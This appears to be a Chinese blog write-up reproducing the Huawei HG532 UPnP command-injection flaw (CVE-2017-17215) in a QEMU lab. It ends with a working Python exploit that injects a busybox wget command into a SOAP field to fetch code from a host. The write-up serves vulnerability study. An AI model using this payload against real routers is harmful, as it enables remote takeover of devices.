CVE-2017-17215复现,主要是解决qemu和主机连接问题,后续会继续深入分析该漏洞文件

一、基本信息:

定制版的华为HG532具有远程执行代码漏洞。 经过身份验证的攻击者可以将恶意数据包发送到端口37215,以发起攻击。 成功的利用可能导致远程执行任意代码。该漏洞payload由蜜罐所捕获发现。利用原理是利用upnp服务中的注入漏洞实现任意命令执行。

二、配置复现环境:

1. 安装qemu

sudo apt-get install qemu 
sudo apt-get install qemu-user-static
sudo apt-get install qemu-system

2. 网络配置

安装网络配置工具:

apt-get install bridge-utils uml-utilities

修改 ubuntu主机网络配置,将ubuntu主机系统中的网络接口配置文件 /etc/network/interfaces 修改为如下内容:image-20200808123343772

创建QEMU的网络接口启动脚本(/etc/qemu-ifup)并保存为如下内容:

image-20200808123601626

启动桥接网络
赋予可执行权限

sudo chmod a+x /etc/qemu-ifup 

重启网络服务,使配置生效

sudo /etc/init.d/networking restart

关闭ens33,启动桥接网络br0

sudo ifdown eth0
sudo ifup br0

执行到这里时,系统提示eh0并未启动。这里并不影响

3. 加载debian镜像文件

从https://people.debian.org/~aurel32/qemu/mips/下载对应的debian mips qemu镜像

image-20200808123804972

其他的帖子里有各种下载qemu镜像的地址,试了几个下载都不好用,各种坑

我下载的是debian_squeeze_mips_standard.qcow2和vmlinux-2.6.32-5-4kc-malta。

启动qemu运行刚镜像:

sudo qemu-system-mips -M malta -kernel vmlinux-2.6.32-5-4kc-malta -hda debian_squeeze_mips_standard.qcow2 -append "root=/dev/sda1 console=tty0" -net nic,macaddr=00:16:3e:00:00:01 -net tap

可以看到一个qemu虚拟机,用root/root登录进去:image-20200808123834874 看一下网络接口:image-20200808123922192

将nano /etc/network/interfaces 文件中的eth0改为eth1:image-20200808123943870

再用ifup eth1 将eth1启起来,运气好的话此时网络已经好了。

然而这里可能一直运气不好,记录:尝试过重启、重启网络、重启接口。给qemu配置新的网络192.168.0.127 ,可以实现主机和虚拟机之间互通

~ # ifconfig eth1 192.168.0.127 netmask 255.255.255.0
~ # route add default gw 192.168.0.1

image-20200808122850994

直接操作虚拟机显然比较麻烦,在ubuntu上搞个SSH 连进来,ssh root@虚拟机ipimage-20200808124030390

将之前解压的固件包拷贝到虚拟机里面:

scp -r ./squashfs-root root@虚拟机ip:/root/

image-20200808123051792

完成搭建路由器固件运行的环境。

三、复现漏洞:

1. 定位漏洞点

第一个问题是怎么让路由器里的服务启起来,我们也不知道是哪个文件会去处理80端口过来的请求,先看下checkpoint[https://research.checkpoint.com/2017/good-zero-day-skiddie/]报告里的payload

image-20200808124100855

注意其中的关键字:ctrltDeviceUpgrade_1,通过**grep -r [keywords]*指令查看有哪些文件包含这两个词语:image-20200808124144148

再找下端口号37215所在文件。image-20200808124210520

2. 运行漏洞点服务

要运行upnp和mic这两个文件,需要先切换根目录到路由器文件系统中

切换到路由器文件系统指令:

chroot /root/squashfs-root /bin/sh

或者执行qemu中squashfs-root文件夹中执行

chroot . sh

达到切换固件跟录下的目的。结果如下图所示:image-20200808124234603

image-20200808124317366

3. 验证漏洞

这时测试一下路由器的37215端口,image-20200808125304655

在ubantu上键入指令sudo nc -vlp 80 监听本机80端口,接下来运行exp脚本验证漏洞。

四、EXP 脚本

根据披露的payload,构造EXP 脚本如下:image-20200808124726977

exp代码如下:

import requests

headers = {
    "Authorization": "Digest username=dslf-config, realm=HuaweiHomeGateway, nonce=88645cefb1f9ede0e336e3569d75ee30, uri=/ctrlt/DeviceUpgrade_1, response=3612f843a42db38f48f59d2a3597e19c, algorithm=MD5, qop=auth, nc=00000001, cnonce=248d1a2560100669"
}

data = '''<?xml version="1.0" ?>
 <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
  <s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1">
   <NewStatusURL>;/bin/busybox wget -g 192.168.0.126 -l /tmp/1 -r /1;</NewStatusURL>
   <NewDownloadURL>HUAWEIUPNP</NewDownloadURL>
  </u:Upgrade>
 </s:Body>
</s:Envelope>
'''
requests.post('http://192.168.0.127:37215/ctrlt/DeviceUpgrade_1',headers=headers,data=data)
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值